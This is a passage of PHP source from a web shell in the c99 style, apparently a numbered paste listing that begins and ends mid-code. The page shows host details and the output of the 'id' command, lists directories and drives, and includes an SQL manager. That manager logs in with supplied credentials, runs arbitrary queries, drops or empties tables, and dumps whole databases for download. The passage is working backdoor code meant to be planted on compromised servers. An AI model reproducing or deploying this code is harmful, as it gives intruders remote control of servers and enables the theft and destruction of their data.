  5219. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>Shell-<?php echo getenv("HTTP_HOST"); ?></title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td><p align="left"><b><?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;|&nbsp;<b><?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><br><p align="left"><?php
  5220. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  5221. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  5222. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  5223. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  5224. $d = str_replace("\\\\","\\",$d);
  5225. $dispd = htmlspecialchars($d);
  5226. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  5227. $i = 0;
  5228.  
  5229.  
  5230.  
  5231.  
  5232. if (count($quicklaunch) > 0)
  5233. {
  5234.  foreach($quicklaunch as $item)
  5235.  {
  5236.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  5237.   $item[1] = str_replace("%sort",$sort,$item[1]);
  5238.   $v = realpath($d."..");
  5239.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  5240.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  5241.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  5242.  }
  5243. }
  5244. echo '<br><br>';
  5245.  
  5246. foreach($pd as $b)
  5247. {
  5248.  $t = "";
  5249.  $j = 0;
  5250.  foreach ($e as $r)
  5251.  {
  5252.   $t.= $r.DIRECTORY_SEPARATOR;
  5253.   if ($j == $i) {break;}
  5254.   $j++;
  5255.  }
  5256.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  5257.  $i++;
  5258. }
  5259. echo "&nbsp;&nbsp;&nbsp;";
  5260. if (is_writable($d))
  5261. {
  5262.  $wd = TRUE;
  5263.  $wdt = "<font color=green>[ ok ]</font>";
  5264.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  5265. }
  5266. else
  5267. {
  5268.  $wd = FALSE;
  5269.  $wdt = "<font color=red>[ Read-Only ]</font>";
  5270.  echo "<b>".view_perms_color($d)."</b>";
  5271. }
  5272. if (is_callable("disk_free_space"))
  5273. {
  5274.  $free = disk_free_space($d);
  5275.  $total = disk_total_space($d);
  5276.  if ($free === FALSE) {$free = 0;}
  5277.  if ($total === FALSE) {$total = 0;}
  5278.  if ($free < 0) {$free = 0;}
  5279.  if ($total < 0) {$total = 0;}
  5280.  $used = $total-$free;
  5281.  $free_percent = round(100/($total/$free),2);
  5282.  echo "&nbsp;&nbsp;<b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  5283. }
  5284. echo "<br>";
  5285. $letters = "";
  5286. if ($win)
  5287. {
  5288.  $v = explode("\\",$d);
  5289.  $v = $v[0];
  5290.  foreach (range("a","z") as $letter)
  5291.  {
  5292.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  5293.   if (!$bool) {$bool = is_dir($letter.":\\");}
  5294.   if ($bool)
  5295.   {
  5296.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  5297.    if ($letter.":" != $v) {$letters .= $letter;}
  5298.    else {$letters .= "<font color=green>".$letter."</font>";}
  5299.    $letters .= " ]</a> ";
  5300.   }
  5301.  }
  5302.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  5303. }
  5304.  
  5305.  
  5306.  
  5307. echo "</p></td></tr></table><br>";
  5308. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  5309. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  5310. if ($act == "") {$act = $dspact = "ls";}
  5311. if ($act == "sql")
  5312. {
  5313.  $sql_surl = $surl."act=sql";
  5314.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  5315.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  5316.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  5317.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  5318.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  5319.  $sql_surl .= "&";
  5320.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  5321.  if ($sql_server)
  5322.  {
  5323.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  5324.   $err = mysql_smarterror();
  5325.   @mysql_select_db($sql_db,$sql_sock);
  5326.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  5327.  }
  5328.  else {$sql_sock = FALSE;}
  5329.  echo "<b>SQL Manager:</b><br>";
  5330.  if (!$sql_sock)
  5331.  {
  5332.   if (!$sql_server) {echo "NO CONNECTION";}
  5333.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  5334.  }
  5335.  else
  5336.  {
  5337.   $sqlquicklaunch = array();
  5338.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  5339.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  5340.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  5341.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  5342.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  5343.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  5344.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  5345.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  5346.   echo "</center>";
  5347.  }
  5348.  echo "</td></tr><tr>";
  5349.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  5350.  else
  5351.  {
  5352.   //Start left panel
  5353.   if (!empty($sql_db))
  5354.   {
  5355.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  5356.    $result = mysql_list_tables($sql_db);
  5357.    if (!$result) {echo mysql_smarterror();}
  5358.    else
  5359.    {
  5360.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  5361.     $c = 0;
  5362.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  5363.     if (!$c) {echo "No tables found in database.";}
  5364.    }
  5365.   }
  5366.   else
  5367.   {
  5368.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  5369.    $result = mysql_list_dbs($sql_sock);
  5370.    if (!$result) {echo mysql_smarterror();}
  5371.    else
  5372.    {
  5373.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  5374.     $c = 0;
  5375.     $dbs = "";
  5376.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  5377.     echo "<option value=\"\">Databases (".$c.")</option>";
  5378.     echo $dbs;
  5379.    }
  5380.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  5381.   }
  5382.   //End left panel
  5383.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  5384.   //Start center panel
  5385.   $diplay = TRUE;
  5386.   if ($sql_db)
  5387.   {
  5388.    if (!is_numeric($c)) {$c = 0;}
  5389.    if ($c == 0) {$c = "no";}
  5390.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  5391.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  5392.    echo "</b></center>";
  5393.    $acts = array("","dump");
  5394.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  5395.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  5396.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  5397.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  5398.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  5399.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  5400.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  5401.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  5402.    elseif ($sql_tbl_act == "insert")
  5403.    {
  5404.     if ($sql_tbl_insert_radio == 1)
  5405.     {
  5406.      $keys = "";
  5407.      $akeys = array_keys($sql_tbl_insert);
  5408.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  5409.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  5410.      $values = "";
  5411.      $i = 0;
  5412.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  5413.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  5414.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  5415.      $sql_act = "query";
  5416.      $sql_tbl_act = "browse";
  5417.     }
  5418.     elseif ($sql_tbl_insert_radio == 2)
  5419.     {
  5420.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  5421.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  5422.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  5423.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  5424.      $sql_act = "query";
  5425.      $sql_tbl_act = "browse";
  5426.     }
  5427.    }
  5428.    if ($sql_act == "query")
  5429.    {
  5430.     echo "<hr size=\"1\" noshade>";
  5431.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  5432.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  5433.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  5434.    }
  5435.    if (in_array($sql_act,$acts))
  5436.    {
  5437.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  5438.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  5439.     if ($sql_act == "newtbl")
  5440.     {
  5441.      echo "<b>";
  5442.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  5443.     }
  5444.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  5445.    }
  5446.    elseif ($sql_act == "dump")
  5447.    {
  5448.     if (empty($submit))
  5449.     {
  5450.      $diplay = FALSE;
  5451.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  5452.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  5453.      $v = join (";",$dmptbls);
  5454.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  5455.      if ($dump_file) {$tmp = $dump_file;}
  5456.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  5457.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  5458.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  5459.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  5460.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  5461.      echo "</form>";
  5462.     }
  5463.     else
  5464.     {
  5465.      $diplay = TRUE;
  5466.      $set = array();
  5467.      $set["sock"] = $sql_sock;
  5468.      $set["db"] = $sql_db;
  5469.      $dump_out = "download";
  5470.      $set["print"] = 0;
  5471.      $set["nl2br"] = 0;
  5472.      $set[""] = 0;
  5473.      $set["file"] = $dump_file;
  5474.      $set["add_drop"] = TRUE;
  5475.      $set["onlytabs"] = array();
  5476.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  5477.      $ret = mysql_dump($set);
  5478.      if ($sql_dump_download)
  5479.      {
  5480.       @ob_clean();
  5481.       header("Content-type: application/octet-stream");
  5482.       header("Content-length: ".strlen($ret));
  5483.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  5484.       echo $ret;
  5485.       exit;
  5486.      }
  5487.      elseif ($sql_dump_savetofile)
  5488.      {
  5489.       $fp = fopen($sql_dump_file,"w");
  5490.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  5491.       else
  5492.       {
  5493.        fwrite($fp,$ret);
  5494.        fclose($fp);
  5495.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  5496.       }
  5497.      }
  5498.      else {echo "<b>Dump: nothing to do!</b>";}
  5499.     }
  5500.    }
  5501.    if ($diplay)
  5502.    {
  5503.     if (!empty($sql_tbl))
  5504.     {
  5505.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  5506.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  5507.      $count_row = mysql_fetch_array($count);
  5508.      mysql_free_result($count);
  5509.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  5510.      $tbl_struct_fields = array();
  5511.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  5512.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  5513.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  5514.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  5515.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  5516.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  5517.      if (!is_numeric($perpage)) {$perpage = 10;}
  5518.      $numpages = $count_row[0]/$perpage;
  5519.      $e = explode(" ",$sql_order);
  5520.      if (count($e) == 2)
  5521.      {
  5522.       if ($e[0] == "d") {$asc_desc = "DESC";}
  5523.       else {$asc_desc = "ASC";}
  5524.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  5525.      }
  5526.      else {$v = "";}
  5527.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  5528.      $result = mysql_query($query) or print(mysql_smarterror());
  5529.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  5530.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  5531.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  5532.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  5533.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  5534.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  5535.      if ($sql_tbl_act == "insert")
  5536.      {
  5537.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  5538.       if (!empty($sql_tbl_insert_radio))
  5539.       {
  5540.  
  5541.       }
  5542.       else
  5543.       {
  5544.        echo "<br><br><b>Inserting row into table:</b><br>";
  5545.        if (!empty($sql_tbl_insert_q))
  5546.        {
  5547.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  5548.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  5549.         $sql_query .= " LIMIT 1;";
  5550.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  5551.         $values = mysql_fetch_assoc($result);
  5552.         mysql_free_result($result);
  5553.        }
  5554.        else {$values = array();}
  5555.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  5556.        foreach ($tbl_struct_fields as $field)
  5557.        {
  5558.         $name = $field["Field"];
  5559.         if (empty($sql_tbl_insert_q)) {$v = "";}
  5560.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  5561.         $i++;
  5562.        }
  5563.        echo "</table><br>";
  5564.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
